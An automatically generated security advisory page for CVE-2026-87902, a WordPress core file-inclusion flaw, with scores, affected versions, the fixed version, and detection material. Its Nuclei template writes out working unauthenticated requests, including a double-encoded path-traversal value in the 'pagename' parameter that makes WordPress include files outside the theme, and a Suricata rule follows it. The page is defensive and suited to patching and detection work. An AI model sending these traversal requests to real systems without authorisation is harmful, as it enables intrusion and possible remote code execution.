VULNpocalypse

CVE-2026-87902: WordPress Core Remote File Inclusion Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.

Description quoted from the CVE record (assigned by hackerone, published 2026-09-22).

Weakness: CWE-98 Remote File Inclusion

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-09-25
US federal deadline
2026-09-28
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-15200, EDB-52690, EUVD-2026-84555, WPSCAN-507ae4f0-6fb3-4efa-87fc-5b9b1df912c7

VEDAS cluster: VEDAS:BARNARD

Exploit Observer links 34 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (34)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (7)

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

News (1)

155 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.958
very likely to be attacked soon
VEDAS
0.983
strong exploit evidence
On CISA KEV
Yes, since 2026-09-25
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-87902 EPSS over time2026-102026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-87902 VEDAS over time2026-102026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
WordPress WordPressbefore 7.1.2Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: wordpress wordpress, wordpress_foundation wordpress.

How to fix it

Fixed versions stated in the CVE record: 7.1.2.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

WordPress - Remote File Inclusion

An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.

Name and description quoted from the template, written by VEDAS.

The template sends 5 requests (GET /wp-json/wp/v2/pages?per_page=1&_fields=id, GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id, GET /, POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%2... and 1 more); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-87902.yaml
Show the template (78 lines)
yaml
id: CVE-2026-87902

info:
  name: "WordPress - Remote File Inclusion"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable
    local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the
    active theme are met, this can lead to RCE.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-87902&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-87902
    cwe-id: CWE-98
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: page_id
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*([0-9]+)'
          - '(?:page_id=|page-id-|page-item-)([0-9]+)'

  - raw:
      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

    stop-at-first-match: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
          - 'status_code == 200'
        condition: and

CVE-2026-87902.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-87902 WordPress - Remote File Inclusion. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-87902 WordPress - Remote File Inclusion"; flow:established,to_server; http.uri; content:"/wp-json/wp/v2/pages"; nocase; fast_pattern; content:"per_page="; nocase; content:"_fields="; nocase; classtype:web-application-attack; reference:cve,CVE-2026-87902; reference:url,https://www.exploit.observer/?keyword=CVE-2026-87902&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1010277; rev:1;)

CVE-2026-87902.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.